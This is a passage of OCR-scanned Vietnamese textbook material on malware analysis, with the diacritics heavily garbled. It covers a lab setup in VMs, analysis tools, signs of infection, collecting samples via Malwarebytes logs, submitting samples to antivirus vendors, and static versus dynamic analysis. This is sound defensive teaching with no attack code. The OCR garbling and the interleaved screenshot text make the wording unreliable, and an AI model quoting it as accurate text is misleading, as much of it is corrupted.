. [ebp+IpCaption] ; int
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. [ebp+IpMultiByteStr] ; IpMultiByteStr

. push [ebp+hWnd] ;int

Luu cac bién luu trong stack trude khi ham nay duge goi.
hWnd= dword ptr 8

IpMultiByteStr= dword ptr 0Ch

IpCaption= dword ptr 10h

uType= dword ptr 14h

wLanguageld= dword ptr 18h

Gia trj ctia céc trj s6 nay da duoc IDA thay lai — cac tén cho d& hiéu
push [ebp+uType] <-vdéipush [ebp+14h]

Khi goi ham MessageBoxA:

Nhu trong hinh trén tuong tng véi viée goi ham:
MessageBoxA(0, "thu cai nuaaaaa", "thucaiiiiiiiiii”, 0)

3.1.3 Méi truong va cac cong cu hd tro phan tich ma déc

Do dic trung ciia cong viéc phan tich mi doc, d6 1a hé thong dung dé
phan tich ludn ¢ trang thai sach, bén canh d6 moi truong phan tich phai
pht hop vé6i hoat dong ciia ma doc. Chinh vi vay viéc hiéu cach xay
dung moi trudng phan tich va cac cong cu hod tro phan tich ma doc 1a
diéu can thiét. Phan dudi day s& gidi thiéu cac cong cu va phan mém
gitip sinh vién ¢ co sd, lam quen dan véi cac phan mém, cong cu phan
tich dé vao cac chuong tiép theo c6 thé thuc hanh va nim bét dugc cach
thirc xay dung moi truong phan tich, cac phuong phap phan tich.

Déi voi xdy dung madi truong, nguoi ding c6 thé dung may that va may
4o dé phan tich. Néu sir dung may that thi can st dung cac phan mém
nhu DeepFreeze dé dong bang lai 6 cimg. Mdi 1an may tinh khoi dong
lai s€ trd lai trang thai nhu ban dau.
3.1.3.1 Phan mém tgo may do
Pb6i véi modi trudng 4o, ngudi phan tich co thé sir dung Vmware, va

virtualbox dé xdy dung.
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|2 Windows XP Professional -

File Edit View VM Tabs Help

Pl b od |0 x| o

Libi x

] i} Home ] L) Windows XP Professional ]

| Q, Type here to search - |

o) il My Computer Fﬂthdows XP Professional

g E:f’;::xp A=t P Resume this virtual machine
1 back track 5 G Edit virtual machine settings
1 Ubuntu
(i vmauto v Devices
(i Malware_Analysis_Ima 8 Memory 512 MB
Shared VMs

[ Processors 1

= Hard Disk (SCS) & GB
+,)CD/DVD (IDE) Auto detect
Floppy Auto detect
¥ Network Adapter Bridged
USB Controller  Present

I Sound Card Auto detect

!] Display Auto detect

w Description

Type here to enter a description of this
virtual machine.

w Virtual Machine Details
State: Suspended
Configuration file: C:\Users\Amit\Documents\Virtual
Machines\Windows XP
Professional\Windows XP

Vmware: http://www.vmware.com

Oracle VM VirtualBox Manager
File Machine
New. Cerl+N

Ctrl+A {23 Details snapshots (1)

ctrl+o
Ctrl+R

-

- &) snapshot 1 (14/09/11 5:44 AM)

Sy 2 current state

Ctrl+L

n File Manager

e Shortcut on Desktop

Virtual box: http://virtualbox.org
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3.1.3.2 Cac phan mém hé tre phan tich

a) Phan mém l4p trinh

Dev C++ - http://www.bloodshed.net/devcpp.html

Microsoft Visual C++ -
http://www.microsoft.com/visualstudio/en-us/products/2010-
editions/visual-cpp-express

Assemblers:

MASM - http://www.masm32.com/

NASM - http://www.nasm.us/

WinAsm (IDE) - http://www.winasm.net/

Langugages:

Python - http://python.org/

b) Phin mém phan tich
Dich ngwgc ma nguon

IDA (5.0) - http://www.hex-
rays.com/products/ida/support/download.shtml

IDAPython - http://code.google.com/p/idapython/

Phin mém do 15i (Debugger)

OllyDbg - http://www.ollydbg.de/

Immunity Debugger -
http://immunityinc.com/products-immdbg.shtml

Windbg - http://msdn.microsoft.com/en-
us/windows/hardware/gg463009

Pydbg - http://code.google.com/p/paimei/
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Phin mém xem dinh dang PE file

PEView - http://www.magma.ca/~wjr/

PEBrowse -
http://www.smidgeonsoft.prohosting.com/pebrowse-
pro-file-viewer.html

LordPE -
http://www.woodmann.com/collaborative/tools/index.

php/LordPE

ImpRec -
http://www.woodmann.com/collaborative/tools/index.

php/ImpREC

PEid - http://www.peid.info/ vi. ExeScan -
http://securityxploded.com/exe-scan.php

Phan mém kiém tra tién trinh Process

ProcMon - http://technet.microsoft.com/en-
us/sysinternals/bb896645

Process Explorer - http://technet.microsoft.com/en-
us/sysinternals/bb896653

Phan mém bit goi tin trong mang

WireShark - http://www.wireshark.orqg/

TcpView - http://technet.microsoft.com/en-
us/sysinternals/bb897437

Phan mém theo déi su thay do6i ciia file va registry

Regshot: http://sourceforge.net/projects/regshot/

Capturebat - http://www.honeynet.org/node/315

InstallWatchPro. -
http://www.brothersoft.com/downloads/installwatch-
pro-2.5c¢c.html
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FileMon - http://technet.microsoft.com/en-
us/sysinternals/bbh896642

Cac phan mém khac

CFFexplorer - http://www.ntcore.com/exsuite.php

Notepad++ - http://notepad-plus-plus.org/

Dependency walker -
http://www.dependencywalker.com/

Sysinternal Tools - http://technet.microsoft.com/en-
us/sysinternals/bbh842062

3.3 Quy trinh phan tich va xir Iy mau ma doc hai

Cong viéc phan tich ma ddc can c6 quy trinh cu thé va r0 rang, diéu nay

gitp giam thiéu han ché rui ro.

Trong quy trinh xt I ma doc hai bao gdm rat nhiéu budc

3.3.1 Nhan dién hé théng bi nhiém ma déc hai va khoanh ving xir ly

a. Phat hién ra sy co hé thong bi nhiém ma ddc hai 1a budc quan trong

nhat trong quy trinh xtr 1y. Néu hé théng bi nhiém ma doc hai ma khéng

phat hién sém thi co6 thé gy ra hau qua kho luong.

Co rat nhiéu dau hiéu cho biét mot hé thong bi nhiém ma doc hai, dudi

day 1a mot vai dau hiéu thuong thay:

Dau hiéu nhiém Virus :

Hé thong ti dong shutdown hodc logging off dot ngot.

Heé thdng c6 it bd nhd hon binh thudng.

Tén mot 6 dia bi thay doi hay khong c6 thé truy cap duge vao.

Céc chuong trinh va céc file dot nhién khong truy cap duoc vao( vi
du Task manager, Registry Editor, Folder Options).

Cac chuong trinh hodc file la dugc tao ra.

Luu luong mang trong hé thong ting cao.

Déu hiéu nhiém Trojan :

Man hinh ty dung c6 gon song.

Wall-paper ctia may bj thay doi.
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- Mau séc ctra s6 Windows bi thay doi.

- Chtrc nang chudt trai, chuot phai bi hoan ddi vi tri 13n nhau.
- Con tré chudt khong xuét hién, tu di chuyén

- Nut Windows Start khéng xuét hién.

- Thanh Taskbar ty dung khéng xuét hién.

- May tinh ban tu dung shutdown hoac tu tét.

Déu hiéu nhiém Spyware

- Trang web mic dinh ty dong thay doi.

- Firewall va cac chuong trinh Anti-Virus tiu dong tat.

- Pén bao mang nhap nhay nhiéu.

- Khéng thé tat dugc hét cac popup windows nhay ra.

- Chuong trinh méi ty dong trong muc Add/remove Program

- C6 1 vai icon va shortcuts la ndm trén thanh taskbar ctia ban, system
tray hoac trén desktop cua ban.

- Nguu chuyén t&i 1 mot trang la thay vi 16 404, khi trang web khong
tim thay.

- Ban nhan canh bao lién tuc tir firewall vé mot chuong trinh khong
rd rang hodc mot tién trinh nao d6 cd gang truy cap ra Internet.

- Ban nhan dugc mot sb email quay trd lai hodc nhin théy co mot sb
email tu gui di.

- Trinh duyét web cua ban chay cham hon so v&i binh thuong.

- C0 thanh toolbar xuit hién la thuong trén web-browser

Trén day 1a nhitng dau hiéu thuong thay khi may tinh bi nhiém
ma ddc hai. Ngoai ra c6 thé tham khao thém cac dau hiéu khéc tai cac
trang web vé bao mat, vé mi doc hai.

b. Sau khi nhan dién duoc hé théng bi nhiém ma doc hai can phai :
- Khoanh ving xur 1y (cach ly cic may c6 déu hiéu nghi ngd nhiém ma
doc hai).
- Ghi lai ngay gio phat hién ma ddc hai va cac thong tin lién quan.
- Pé nguyén tinh trang ciia phan ctng, phan mém lién quan dén hé thong
bi nhiém.
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- X4c dinh hé théng bi nhiém ma doc hai :
*Théng tin vé hé diéu hanh dang sir dung.
* Trinh duyét Web.

* Firewall.

* Cac trinh bao v€é may hién thoi da co.

T d6 ta xac dinh duoc cac modules, cac tién trinh, cac dich vu, cac
drivers, cac add-on trinh duyét, phién ban hé diéu hanh ... ctia hé théng
co lién quan dén hoat dong ctia ma doc hai. Muc dich thu thap thong tin
dé sau nay co thé xac dinh ngudn gbc lay lan va tai sao lai bi nhiém
thong qua dau? Pong thoi ciing ra soat lai mot luot xem hé thong minh
c6 bi 16i bao mat nao khong.

Trén day la nhitng hanh dong ngudi quan tri can lam ngay khi hé thong
bi nhiém ma doc hai. Thuong thi ngudi phan tich ma doc hai chi nhan
dugc mau réi thuc hién phan tich. Tuy nhién ding & goc do ngudi lam
an toan thong tin hay mdt quan tri mang hé théng thi viéc xur ly tdt cac
budc ban du sé gitip ich céng viéc khic phuc su ¢d tot hon.

3.2.2 Thu thap miu ma déc hai

Thu thap mau virus, ma doc 1a qua trinh tim ra cac file nhiém virus, céac

file nghi ngd nhiém virus trong hé thong nham muc dich nghién ctu,

phan tich va hoc hoi

Thudng c6 rat nhidu cach dé co thé thu thap miu, trong do 4n nay
khong néu cac phuong phap dé co thé lay dugc ma doc hai mot cach
chuyén nghiép nhu xay dung hé théng honeypot gidng mdt s6 hang phan
mém diét virus.... Hoic ldy mau tir khach hang tu giri dén, tir cac nguon
chia sé trén mang, mua tir cdc hang nghién ctru bao mat....

Néu mudn tham khao vé honeypot thu thap ma doc hai thi c6 thé
tham khéo cac ung dung thu thap ma doc hai nhu :
http://www.honeyclient.org/trac
http://nepenthes.carnivore.it/
http://sourceforge.net/projects/amunhoney/

O day ta ding ¢ vai tro 13 mot system admin. Viéc ty minh thu thap
duoc méd doc hai trén chinh hé théng doi hoi nhiéu kinh nghiém, vi du
théy co cac file thuc thi la trén hé théng thi nén no lai béng trinh nén file
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va dit mat khau sau d6 mang di phan tich. Hoac dung mot $6 cong cu
giam sat hé thdng nhu process dé xem c6 tién trinh nao la khong, tim
cich xem cai nao tao ra tién trinh la d6 rdi xac dinh né nam & dau, nén
no6 lai mang di phan tich.

Vi du : Mot mi doc hai kha ndi tiéng Rbot, thuong str dung
trong cic cudc tan cong DDoS, nd 1a s& ty dong md 1 port unprivilege
trén may nan nhan, tham gia vao mét kénh trén IRC va nghe 1énh tur ké
tan cong. T dau hiéu luu lvong mang tang bat thuong, ta dung mot sd
phan mém kiém tra vé tién trinh va c6 ging xac dinh con rbot d6 nim ¢
dau. Sau d6 1dy mau va mang di phan tich.

Ngoai ra ¢6 1 chuong trinh kha ndi tiéng ctia hang Trenmicro 1a phan
mém Sicwin.
http://www.trendmicro.com/ftp/products/sic/SIC_5.5 build_1017.zip
Phan mém nay s& quét hé thong va dua ra cac thong tin vé hé thong, cac
thong tin vé cac file dll la do ma ddc hai sinh ra , céc file exe kha nghi,
sau d6 s& nén chiing lai thanh file zip, ching ta chi can mang file zip d6
di phan tich.

Bén canh d6 nguoi phan tich c6 thé su dung chuong trinh

Malwarebytes Anti-Malware dé tim cac miu hién thdi c6 trén may,

chuong trinh ngoai kha ning phat hién ma ddc, con c6 thé chi ra cac

file nghi ngo va ca dudng dan cua file d6, diéu nay gitp qua trinh thu
thap mau thuan loi hon.

MBAM - Malwarebytes Anti-Malware 1a phan mém diét Virus,

Malware ma theo nhiéu nguoi nhan xét 1a ¢o co ché tim va diét virus rat

thong minh (dac biét ddi véi cac loai Malware méi xuat hién cia Chau

Au, My...).

Nho kha nang phan tich thong minh dé phat hién cac file lay nhiém, cac

file nghi ngd ma MBAM duoc st dung 1am coéng cu lay mau virus rat
hiéu qua.

Cac st dung chuong trinh nay khong phuc tap, ngudi phan tich thuc
hién nhimg budc nhu sau d6i véi phan mém nay dé 1y mau ma doc.
Tai chuong trinh tabi day: http://download.cnet.com/3001-8022 4-

10804572.html?spi=26f02dc7e2587a24758db83309d182f5
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Budc 1: Nguoi phan tich thuc hién Perform full sacn (quét toan bd

Scanner Protection Update Quarantine Logs Ignore List Settings Mare Tools About

Scanner

) The scanner can find and remove malicious software present on your system. Please select a scan type and click ‘Scan’. Please close
= all unnecessaty applications to mprove scan pesformance.

Please select a scan type below.

() Perform quick scan
A quick scan utiizes ow ursque fast scanning technology to scan your system for malicious software,

@ Perform full scan
A full scan will scan all fles on the selected diive(s). A quick scan is recommended in most cases,

) Perform flash scan
A llash scan will analyze memory and autorun objects. [tis only available to ow icensed users.

Puchase

Hinh 3-9 Giao dién chuong trinh
Budc 2 : Sau khi quét xong, ngudi phan tich 4n Ok va 4n Show result ( hién
duoc két qua nhu sau:
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Scanner

Protection

Update = Quaranting

Logs | lIgnorelist | Setlings | Moee Tools | Aboul

4 ‘ Below is a hst of malicious software found on your system. Close all unnecessaty apphcations to ensure successful theeat removal
v

Vendot

Scanner

@ Trojan.Agent
W Trojan.Agent
& Trojan.Agent

@ Worm.AutoRun
v@ Worm.AutoRun
Y Worm.AutoRun
& VWorm.AutoRu...

& Worm.AutoRu...
W PUM.Disabied....

Category
Foldet

Fie
Fie
Folder

Registy Data

|

Remove Selected

]

[

Register

J

Puichase

Item

cARECYCLER\:1-5:21-0243936033-305211...
cARECYCLER\s1-5:21-0243936033-305211...
cARECYCLER\:1-5:21.0243936033.305211...
c\RECYCLERN:1-5:21-0243556031-888888...
c¢\RECYCLER\s-1-5-21-0243556031-888888..,

cARECYCLER\s-1-5-21-0243556031-888888

¢\RECYCLER\-1-5-21-1482476501-164443 ..
ARECYCLER\1-5-21-1482476501-164449.
c\RECYCLER\+1-5-21-1482476501-164449...
HKEY_LOCAL_MACHINE\SOF TWARE Mic...

Other Action taken
No action taken.
No action taken.
No achon taken.
No action taken
No action taken.
No action taken
No action taken.
No action taken
No action taken.
Bad (1) Good (0) No action taken

[ Ignote t Save Log b Main Menu ]

e ——

[ ]

Hinh 3-10 : Giao dién két qua

Budc 3 Nguoi thu thip nhin hinh trén s& biét duoc tén virus di nhiém

vao may. Nhung dé nhin rd hon virus nim & dudng dan nao cua mdy hay

an nat Save log, khi d6 ¢6 hinh sau hién ra nhu sau:
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Save @

Save jn; | @' Dezktop " | 2 &+ o El"
S DMy Documents
_,,.JI vj [y Compuker
Fecent HM‘;.# Metwork Places
I 102_PanA
? |y MicrosoftFixitS0154

|_ IPikachu_tong_hop_Rilwis. bk

Desktop 52 Google Talk Received Files

[Z] mbam-log-2011-03-17 (23-39-27).txt

29

ky Documents

9

ty Computer
File name: ‘mbamdog-2011-04-12 (112121 ).t v [ sae |
.Q Save as bype; | Text File [ Cancel ]
by M etwork,

Hinh 3-11: Giao dién ghi nhat ky

Nguoi thu thap chon Destop dé luu (save) log cia Mbam bang
notepad. Trong hinh tén file log cia MBAM trén may :mbam - log-2011-
04-12.txt.

Pén day nguoi thu thap dd hoan thanh viéc luu log Mbam c6 chua
duong dan virus 1ay nhiém nam trén destop ctia may roi. Lic nay dé gom
mAu, ngudi dung khong duge 4n niit Remove trén giao dién vira quét ctia
MBAM vi néu nhan nat d6, mau virus s& mat do MBAM tiéu diét (s&
khong 14y duoc mau). Ngudi thu thap lam theo bude 5 nhu sau:

Buéc 5: Gom mau

Nguoi thu thap chi viéc ra Desktop mé file log MBAM Ién dé xem
duong dan. May duymeo khi mé s& c6 log cia MBAM nhu sau: (Trich
doan log):

Malwarebytes' Anti-Malware 1.50.1.1100

www.malwarebytes.org
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Database version: 6339

Windows 5.1.2600 Service Pack 2

Internet Explorer 6.0.2900.2180

4/12/2011 11:22:32 AM

mbam-log-2011-04-12 (11-22-31).txt

Scan type: Full scan (C:\|D:\|)
Objects scanned: 152233

Time elapsed: 23 minute(s), 42 second(s)

Memory Processes Infected: 0
Memory Modules Infected: 0
Registry Keys Infected: 0
Registry Values Infected: 0
Registry Data ltems Infected: 1
Folders Infected: 3

Files Infected: 6

Memory Processes Infected:

(No malicious items detected)

Memory Modules Infected:

(No malicious items detected)

Registry Keys Infected:
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(No malicious items detected)

Registry Values Infected:

(No malicious items detected)

Registry Data Items Infected:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Security CentenUpdatesDisableNotify

(PUM.Disabled.SecurityCenter) -> Bad: (1) Good: (0) -> No action taken.

Folders Infected:

c\RECYCLER\s-1-5-21-0243936033-3052116371-381863308-1811 (Trojan.Agent) -> No action
taken.

C:\RECYCLER\s-1-5-21-0243556031-888888379-781863308-1413 (Worm.AutoRun) -> No action
taken.

C\RECYCLER\r-1-5-21-1482476501-1644491937-682003330-1013  (Worm.AutoRun.Gen) -> No

action taken.

Files Infected:

c:\RECYCLER\s-1-5-21-0243936033-3052116371-381863308-1811\Desktop.ini (Trojan.Agent) -> No
action taken.

c\RECYCLER\s-1-5-21-0243936033-3052116371-381863308-1811\Desktop3.rar (Trojan.Agent) ->
No action taken.

c\RECYCLER\s-1-5-21-0243556031-888888379-781863308-1413\Desktop.ini (Worm.AutoRun) ->
No action taken.

C:\RECYCLER\s-1-5-21-0243556031-888888379-781863308-1413\Desktop2.rar (Worm.AutoRun) ->

No action taken.
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C\RECYCLER\-1-5-21-1482476501-1644491937-682003330-1013\Desktop.ini
(Worm.AutoRun.Gen) -> No action taken.
C\RECYCLER\-1-5-21-1482476501-1644491937-682003330-1013\Desktop.rar
(Worm.AutoRun.Gen) -> No action taken.

Nhin vao mot sé dudng dan boi do, ngudi thu thap s& thay virus tri ngu
O vi tri nao trén may.

Ldc nay nguoi thu thap chi can dung winrar nén 1én va giri 1én forum 1a
xong.

Cach nén bang winrar: Khi biét duong din cia virus tri ngu, chang han
trén may tinh 1a con file.exe lay tai duong dan C:\Documents and
Settings\Nguyen Van Alfile.exe

thi chi viéc vao 6 C, theo dudng din d6 nhap phai chudt vao file file.exe
roi chon add to "file.rar" ddy 1a ngudi thu thap di nén duoc miu bang
winrar.

3.2.2 Giri mau dén cac hang Anti-virus

Sau khi thu thap duoc mau ma doc trén may tinh, hé thong, ngudi phan
tich thu thap ngoai viéc ty phan tich va xir Iy mau ma doc con nén giri
mau mi doc d6 cho céac t6 chirc, cho cic cong ty Antivirus. Diéu nay
gitip cac hang c6 thé cap nhat duoc mau méi. Hau hét cac hang Antivirus
déu c6 riéng mot phan thong tin Website dé cho ngudi dung co thé gui

mau lén.
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mﬂmﬁnﬁfﬂid\wmétvin x % Y =" |
= C | G https://www.virustotal.com/vi/ Tly chinh va Gieu khién C& Rém+ a gy

[ Suggested Sites [~ ] CCNA ver 4

» total

VirusTotal la dich vu mién phi, giip phén tich tap tin va URL nghi ngé va tao diéu
kién cho viéc nhanh chéng phat hién virus, séu may tinh, frojan va tAt ca cac loai phan
mém ddc hai khac.

Chwa chon tép tin Chon tdp tin
Kich thwéc tap tin téi da: 64MB

Biing viéc chon niit "Quétr, ban déng v v&ri Didu khoan dich vu ciia ching téi va cho phép VirusTotal
chia sé tap tin nay v&i cdng dong bao mat. Xem qua Chinh séch riéng tw dé biét thém chi tiét.

C6 thé ban can quét URL hodc tim trong cor sé& diF liéu cia VirusTotal

7 Blog | W Twitter | @ contact@virustotal.com | & Nhém Google | #, Didu khoan dich vu | & Chinh sach riéng tw

Hinh 2-12: VirusTotal
http://www.techsupportalert.com/content/now-report-malware-or-false-
positives-multiple-antivirus-vendors.htm
3.2.2.1 Giri bang email

Sau khi nguoi thu thap dd c6 mau, cic budc dé giri cho cic hang

Antivirus nhu sau:

Budc 1: St dung mot mail client khuyén cdo st dung
Thunderbird,Outlook.
Budc 2 : St dung mot chuong trinh nén file, ¢6 thé sir dung 7-Zip day

la mot phén mém Free c6 thé dit duge mat khau sau khi nén file .
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http://www.techsupportalert.com/content/how-report-malware-or-false-positives-multiple-antivirus-vendors.htm
http://www.techsupportalert.com/content/how-report-malware-or-false-positives-multiple-antivirus-vendors.htm

Hinh 3- 13: Chuong trinh 7-zip

Mbt sd hang yéu cau glri mau ma doc sir dung dinh dang zip va kém theo mat
khau, bén canh d6 mot s6 hang thi giri miu ma doc str dung dinh dang 7z nén
nguoi thu thap nén st dung cd 2 dinh dang dé glri mau.

Gui email st dung dinh dang zip dang nhu sau:
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it Suspicious File Submission -8 x
B

J Fle Edt View Insert Format Tools Message Hebp

|/
G

. LY "] E” ABi lﬂ] - 0 &
E SRS .5 EH B
Send ut Gopy  Paster Undo | Check Speling) | Attach Priority Sign  Encrypt Offiine
[# To:  |v3sos@ahnlab. com;virus@arcahit. com;virus @avast.com; virus @avg. com; virus @avira, com; virus_submission @hitdefender.com;bkav @bkav. com. vn;samples @bluepaintsecurity.com; dearsight.s ﬂ
upport@clearsightay, com;malwaresubmit@avlab, comoda,com;virus @avsubmit, com;vme @drweb,com; malware @emcosoftware, com; submit@emsisoft, com; virus @esafe.com;samples @escanav.c
am;submitvirus@fortinet, com;research@spy-emergency. com;virusiab @F-prot, com;labs@fsb-antivirus,com;vsamples @F
secure,com;virus @orbitech, org;samples @ikarus, atysubmit@samples. mmunet, com;k Fviruslab &labs.k Fcomputing, com;nevwvirus @kaspersky. com;suppar t @jiangmin, comjresearch @lavasoft, com; j
Bce |
Subject: |Suspici0us File: Submission
A HdE|r fua|cicEE|s===|- 0@
|
The sample is in a password protected zip file
The password for the attachment is infected
|

Hinh 3-14 : glri email st dung dinh dang zip
Email 13 ctia cic cong ty vé ma doc

v3sos@ahnlab.com;virus@arcabit.com;virus@avast.com;virus@avg.co
m;virus@avira.com;virus_submission@bitdefender.com;bkav@bkav.co
m.vn;samples@bluepointsecurity.com;clearsight.support@clearsightav.
com; malwaresubmit@avlab.comodo.com;virus@avsubmit.com;vms@d
rweb.com;malware@emcosoftware.com;submit@emsisoft.com;virus@
esafe.com;samples@escanav.com;submitvirus@fortinet.com;research
@spy-emergency.com;viruslab@f-
prot.com;labs@fsbantivirus.com;vsamples@fsecure.com;virus@orbitec
h.org;samples@ikarus.at;submit@samples.immunet.com;k7viruslab@|
abs.k7computing.com;newvirus@kaspersky.com;support@jiangmin.co
m;research@lavasoft.com;virus_research@avertlabs.com;virus@micro
point.com.cn;avsubmit@submit.microsoft.com;virus@nanoav.ru;soport
e@neotechnology.com.mx;samples@eset.com;support@noralabs.com;
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analysis@norman.no;newvirus@novirusthanks.org;virus_info@inca.co.
kr;virus@pandasecurity.com;suporte@psafe.com; kefu@360.cn;support
@rubus.co.in;newvirus@s-
cop.com;samples@sophos.com;detections@spybot.info;vlab@srnmicro
.com;avsubmit@symantec.com;trojans@moosoft.com;virus@hacksoft.
com.pe;virus@thirtyseven4.com;virus@ca.com;submit@trojanhunter.c
om;support@simplysup.com;virus@filseclab.com; malware-
cruncher@sunbelt-software.com;viruslab@hauri.co.kr;newvirus@anti-
virus.by;esupport@webroot.com;virus@zillya.com; huangruimin@kings
oft.com;lab@filemedic.com;pomoc@mks.com.pl

Gui email dinh dang 7z thi nhu sau:

o T — =@ =l
J File Edit View Insert Format Tools Message Help | l‘}'
. (¥ L = | AB! P - s
=l 00w & T 0 Y. E D
Send Cut Copy Paste Updo Check Speling | Attach  Priority Sign  Encrypt Offiine

[EEY To:
[E Cc |

Subject: ISuspiciDus File Submission

[ Sr J=/=zual=

The sample is in a password protected 7z file

The password for the attachment is infected

Hinh 3-15 : Giao dién gtri email
Email cua cac cong ty vé ma doc st dung dinh dang

support.is@cmclab.net;samples@digital-
defender.com;sample@preventon.com;support-
tech@returnil.com;info@chicalogic.com;submit@antiy.com

3.2.2.2 Giri bang cac trang truc tuyén
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Hau hét cac Website ctia cac hing déu co khu vuc cho phép giri mau
|én. Pay 1a mot cach gitip cac hang AntiVirus c6 thém mau méi.

[ oo -

« - C https://submit.symantec.com/websubmit/retai.cgi a ‘{:?
[ Suggested Siter ("] CCNA ver 4
E‘&] Trang nay bang Ban o6 mudn dich trang nay khéng? [ Khong l [ Khéng bao gid dich Tiéng Anh] x

4 Symantec. Close @ m

Upload a suspected infected file (Retail) English vI

Use the form below to upload a suspected infected file to Symantec Security Response

This submission form is intended for users of Noron products

You may also submit files directly from the product

Ifyou are submitting a file you believe to be clean, please use this submission form.

@ This submission form is S5L Secured.

* Required fields are marked with an asterisk.

First Name | *

Last Name | *

Company Name |

Tracking and closing emails will be sent to the following email address:

Email Address | = —

Re-enter Email Address | =

File to Upload Chon Tép tin | Khidng cd tép nao dwoc chon*

L Please note the following guidelines for submissions:

+ Uploads may be a maximum size of 20MB

+You may upload a maximum of 9 files in each submission by placing the sample files within a ZIP or RAR archive

» Uploads must not be password protected

Symptoms

Please describe the problem that leads you to befieve this file is infected.

Sugmestons =

Hinh 3-16 : Gtri mau 1én trang Symatec
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C'  [Y) www.bitdefender.com/s asy
|} suggested Siter ("] CCNA ver 4
Trang nay bang | Tiéng Anh ~ | Ban c6 mudn dich trang nay khéng? ‘ Dich ‘ ‘ Khéng ‘ ‘ Khéng bao git dich Tiéng Anh ‘ | Tuy chon » ] x

Bitdefender

BITDEFENDER PRODUCTS

» Home Products

» Bitdefender for your Business Sme't a SUSPICIOUS ﬁle

Please submit the suspicious file, together with a description of the simptoms your computer has.
ABOUT BITDEFENDER Your email:

» Company Overview
» Technology

» Bitdefender Partners

Description: 4
Suspicious file*: Chon Tép tin l Khéng c6 tép nao dwec chon
Submit

www.bitdefender.com/site fview /company.htm|

-

Hinh 3-17: Gtri mau 1én trang Bitdefender

Report a false detection | A1 % | (%, Submit Suspicious Files

en/false-detection

C' [ samplesubmit.avg.com/

[ Suggested Siter " [] CCNA ver 4

EE Trang nay bang Ban cé mudn dich trang nay khéng?

For Mobile Users

[ Khéng l l Khéng bao gid dich Tiéng Anh

® If want to send a sample of an Android app that may be malware (not an app that was falsely detected), please visit the article Where can I send an

Android malware app sample?

For Software Vendors

® In case you are a software vendor and you want to prevent your software from being falsely detected, please apply for the "Whitelisting service account”

by choosing "Application Whitelisting” item from the form below.

SUBMIT A REPORT

* Required Fields

Choose an appropriate request type * [--- Choose from the list - =1

Details about the problem *

P

File for inspection (Max 20MB)  Chon Tép tin | Khing cd tép ndo dwoc chon

ure |

Your email address * |

N 6pmBhx

Type the verification code * [

Verification code

Hinh 3-18 Giri mau 1én trang AVG
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(ol S Report a false detection | A1 x ) (R, submit Suspicious Files x

C' | @ https://analysis.avira.com a <y

|| Suggested Siter’ " [] CCNA ver 4

Eﬁ Trang nay béng | Tigng Anh ~ | Ban 6 mudn dich trang nay khéng? | Dich | | Khéng | | Khéng bao gis dich Tiéng Anh Thy chon~ | *
(X AVIRA g + Commt i i P
ForHome  ForBusiness  Support  Parner  Download Search Q

Submit Suspicious Files and URLs

Submit suspicious files

Contact details

Upload files as:

= Suspicious File (Suspected Mabware) Suspected False Positive (Not Makware)

Drag files here

@ Add files an o

Hinh 3-19: Gtri mau 1én trang Avira
3.2.3 Phan tich miu sir dung mot sé6 phwong phap
3.2.3.1 Phdn tich théong tin so by ma doc hai
Nguoi phan tich du doan dac diém, phan loai ma doc hai, chia dong,
dat tén bang cach xem ma hex, xem thudc tinh cua file, kich thudc file. ..
hoic thong tin don gian khac dé ching ta tién hanh phan loai so bo ma
doc hai.

Tim kiém thong tin: c¢6 thé upload mi doc hai 1én céc trang nhu Virus-
total hodc scan bang cac chuong trinh Anti-Virus xem chung d3 duoc
nhan dién chua. Néu ma doc hai d3 duoc nhéan dién, chung ta s€ tim kiém
thém thong tin vé mi doc hai d6 1am co s& dé thuc hién viéc phan tich
chi tiét.
3.2.3.2 Phan tich théng tin chi tiét hogt déng ma dc hai

Hién nay c6 2 phuong phap phan tich ma doc hai phd bién. D6 1a

- Phan tich tinh (static analysis)

- Phan tich dong (dynamic analysis)
Ca 2 phuong phap déu rat quan trong va déu c6 nhitng vu nhuoc diém
riéng
a. Static analysis (phéan tich tinh)
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Static analysis 1a phuong phap xem ma dich nguoc dé xac dinh nhimng
hanh vi thyc sy ma doc hai nay s€ lam gi trén hé théng ma khong can
phai chay no tur do hiéu rd hon vé hoat dong cua ma doc hai.

Phuong phap nay thuong st dung cac cong cu:
- Disassembler
- Decompiler

- Source code analyzer

Uu diém phuong phap phan tich tinh:

- Phan tich tinh c6 thé phat hién ra hoat dong, cach hoat dong cua

ma doc trong cac truong hop khac nhau.

- Static analysis s& cho chiing ta cai nhin dung nhat vé mot chuong
trinh. Tuy nhién rat khd khi chung ta c6 thé nim duoc toan bod
hoat dong cua mdt chuong trinh, trir cac chuong trinh ¢6 mé code
nho.

Nhuge diém phuong phap phén tich tinh:

« Phuong phép nay doi hoi ngudi phan tich phai am hiéu sau vé hé théng
va lap trinh, khong phai tt ca cac ma doc hai déu cé thé dich nguoc.
Hon nita nhiéu ma doc hai dugc lap trinh tinh vi dung nhiéu chuong
trinh bao vé dé chéng dich nguwoc mi vé dang assembly.

b. Dynamic analysis (phan tich dgng)

Dynamic analysis hay con goi la phan tich dong 1a phuong phap quan
sat xem ma doc hai khi thyc thi s& lam nhiing gi, chay nhu thé nao, l1am
gi trén may tinh minh qua cic céng cu monitor, cach nay c6 nhuoc diém
vai cac dong ma doc hai chay theo lich trinh. Nghién ctru hoat dong ctia
chuong trinh bang cach thuc thi chuong trinh do.

Phuong phap nay thuong st dung cac cong cu:

- Debugger

- Function call tracer

- Machine emulator

- Logic analyzer

- Network sniffer

Uu nhuoc diém
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Dynamic analysis cung cap théng tin nhanh va chinh x4c. Tuy nhién
dynamic analysis c6 mot nhuge diém la: "Nhitng gi thdy dugc khong
phai 1a tat ca". N6i cach khac dynamic analysis khong thé du doan duoc
nhimg hanh vi ctia chuong trinh trong cac diéu kién "dic biét" khong ton
tai trong thuc té. C6 thé léy vi du v6i cac ma doc hai chay theo thoi gian,
tirc 13 ¢ thoi diém nay nd hoat dong thoi diém khac né lai khong hoat
dong.

Mobi phuong phap déu c6 mot dic diém riéng nhung khi phan tich ma
doc hai thi nguoi ta thuong phai st dung ca 2 phuong phap dé hd tro 1an
nhau.

Du muc dich chinh thi giéng nhau nhung cac coéng cu hd tro viéc phan
tich, thot gian bo ra cua tung phuong phap 1a khac nhau.

2.2.4.1 Quan sat hanh vi ma doc hai (Dynamic analysis)

Nhu vay 6 trén di ndi qua 2 phuong phap duogc sit dung dé phén tich ma
doc hai thi phuong phap quan sat hanh vi ma doc hai dugc dung trude.
